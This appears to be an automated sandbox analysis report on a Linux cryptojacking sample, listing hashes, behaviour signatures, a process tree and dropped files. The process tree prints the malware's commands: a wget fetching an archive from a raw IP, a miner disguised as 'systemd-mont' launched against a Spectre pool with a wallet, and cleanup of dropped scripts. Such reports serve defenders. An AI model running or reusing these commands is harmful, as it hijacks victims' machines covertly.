Analysis

  • max time kernel
    119s
  • max time network
    107s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17-01-2025 00:58

General

  • Target

    c6cf1908f96405fd4cca559c8ae9bcdb12d5919bcbd510d1bbe8d1135779dfbaN

  • Size

    6KB

  • MD5

    eae738a54a07452e9aa656c690512980

  • SHA1

    0051ca1fa59d4c857364b541f5cc9b4d483f15bf

  • SHA256

    c6cf1908f96405fd4cca559c8ae9bcdb12d5919bcbd510d1bbe8d1135779dfba

  • SHA512

    ad972376828b5a2c928c12069a17cd35ce8243521691da65eb9435e5a26b8883d4a6c53711869e7b81ef077dde28f887ace7dfbb3634bd960bc7b53ff5749f80

  • SSDEEP

    192:o+yjg4p9ehSerXOKDj7V9NoB8lvjW9cPHRzUlx:xflLAKHIx

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c6cf1908f96405fd4cca559c8ae9bcdb12d5919bcbd510d1bbe8d1135779dfbaN
    /tmp/c6cf1908f96405fd4cca559c8ae9bcdb12d5919bcbd510d1bbe8d1135779dfbaN
    1⤵
      PID:1501
      • /bin/rm
        rm -f /tmp/usr/lib/systemdev/systemd-mont
        2⤵
          PID:1502
        • /bin/rm
          rm -f /usr/lib/systemdev/systemd-mon
          2⤵
            PID:1503
          • /bin/rm
            rm -f /usr/lib/dev/systemdev/systemd-mont
            2⤵
              PID:1504
            • /bin/systemctl
              systemctl stop systemd_s
              2⤵
              • Reads runtime system information
              PID:1505
            • /usr/bin/wget
              wget -qO- ifconfig.me
              2⤵
              • System Network Configuration Discovery
              PID:1506
            • /bin/sed
              sed "s/\\./-/g"
              2⤵
                PID:1514
              • /usr/bin/cut
                cut -c -10
                2⤵
                  PID:1518
                • /usr/bin/id
                  id -u
                  2⤵
                    PID:1519
                  • /usr/bin/id
                    id -u
                    2⤵
                      PID:1520
                    • /bin/mkdir
                      mkdir -p /usr/lib/dev/systemdev
                      2⤵
                        PID:1521
                      • /usr/bin/wget
                        wget -qO /usr/lib/dev/systemdev/yes.tar.gz http://151.106.34.115:6573/yes.tar.gz
                        2⤵
                          PID:1522
                        • /bin/tar
                          tar -xzf /usr/lib/dev/systemdev/yes.tar.gz -C /usr/lib/dev/systemdev
                          2⤵
                            PID:1527
                            • /usr/local/sbin/gzip
                              gzip -d
                              3⤵
                                PID:1528
                              • /usr/local/bin/gzip
                                gzip -d
                                3⤵
                                  PID:1528
                                • /usr/sbin/gzip
                                  gzip -d
                                  3⤵
                                    PID:1528
                                  • /usr/bin/gzip
                                    gzip -d
                                    3⤵
                                      PID:1528
                                    • /sbin/gzip
                                      gzip -d
                                      3⤵
                                        PID:1528
                                      • /bin/gzip
                                        gzip -d
                                        3⤵
                                          PID:1528
                                      • /bin/mv
                                        2⤵
                                          PID:1529
                                        • /bin/rm
                                          2⤵
                                            PID:1530
                                          • /bin/sleep
                                            sleep 5
                                            2⤵
                                              PID:1532
                                            • /usr/bin/nice
                                              nice -n -20 /usr/lib/dev/systemdev/systemd-mont --daemon-address spr.tw-pool.com --port 14001 --spectre --wallet spectre:qz84qx270dh2u73e3p9m528lr3xhykspmatyc4pcsjlf50756d8m6vht6z5nl.
                                              2⤵
                                                PID:1531
                                              • /usr/lib/dev/systemdev/systemd-mont
                                                /usr/lib/dev/systemdev/systemd-mont --daemon-address spr.tw-pool.com --port 14001 --spectre --wallet spectre:qz84qx270dh2u73e3p9m528lr3xhykspmatyc4pcsjlf50756d8m6vht6z5nl.
                                                2⤵
                                                • Executes dropped EXE
                                                • Reads CPU attributes
                                                • Writes file to tmp directory
                                                PID:1531
                                              • /bin/ps
                                                ps -p 1531
                                                2⤵
                                                • Reads CPU attributes
                                                • Reads runtime system information
                                                PID:1535
                                              • /bin/rm
                                                rm -f /tmp/mon.sh
                                                2⤵
                                                  PID:1537
                                                • /bin/rm
                                                  rm -f /tmp/run.sh
                                                  2⤵
                                                    PID:1538

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/2d.bin

                                                  Filesize

                                                  64KB

                                                  MD5

                                                  05886f5b7378848476969b587db33334

                                                  SHA1

                                                  5a4bd1e1466eabebd21187065aee25c26e956f6e

                                                  SHA256

                                                  58c82d769f4d510ab21a6271ec3d05fc474c22a9165960fcdaae14549cba6afb

                                                  SHA512

                                                  59ed0b860ca9b58840a1a0bd6c64554bf1bbad894e6fbb4e5f1ca748929ea6c5978826d0e102df779d7f2460f1538eb190581b0928da182bebea7ef5157a5e3d

                                                • /tmp/3d.bin

                                                  Filesize

                                                  64KB

                                                  MD5

                                                  112cf3ecd24f8cd5f705633bf2350050

                                                  SHA1

                                                  e42dc706de1cffb50f0b6fa9a7bf8155ad51dc02

                                                  SHA256

                                                  91344ecf02e95cdb12137c24924c47b4e312f67974adba1aa4c7a9a17d37e2cb

                                                  SHA512

                                                  e28772bba7b93ff10e56e2f727c2c634ddf9c15424bb030ca5990aa48bccf1a99b99ba1522067765b92ed85871a10360b021b240a56586e7a97c5c964cb636b3

                                                • /usr/lib/dev/systemdev/cpuminer-sse2

                                                  Filesize

                                                  15.5MB

                                                  MD5

                                                  1bba36b6469f0d1247dda40afb6c8429

                                                  SHA1

                                                  a91ef7c246cc1262694e61ed8e73f6165e6a9e3c

                                                  SHA256

                                                  b2592e1c95f841b0ab0b51e1da340ef52ce1b4e1c55f1f60d326645b6157e9f2

                                                  SHA512

                                                  b2f3f9ce59a97297b23a1c064769b68a19e8a48f1492ca65e95e4a2edd305e2c7f931ab1e0cb6df98c13f82260e64c414009f4ef67c26f65aea9cd464a108d2c

                                                • /usr/lib/dev/systemdev/yes.tar.gz

                                                  Filesize

                                                  4.8MB

                                                  MD5

                                                  35b2a7a1b428134bba223f2152bec468

                                                  SHA1

                                                  6a4d34eb3d4a01d549e2f4a41395af778c5851ed

                                                  SHA256

                                                  6305719138ee437f889b3a10100d13d8ccbc862d84aac7b27bf24a5ef5aa1d35

                                                  SHA512

                                                  a8a690767d7f97a4d52639a4bc073789e24b7b9219c0a374f7edaa488583dc2f429b9fd4187d497bf4314703377a58e1ebb19778ee011efc32399578dba7dea0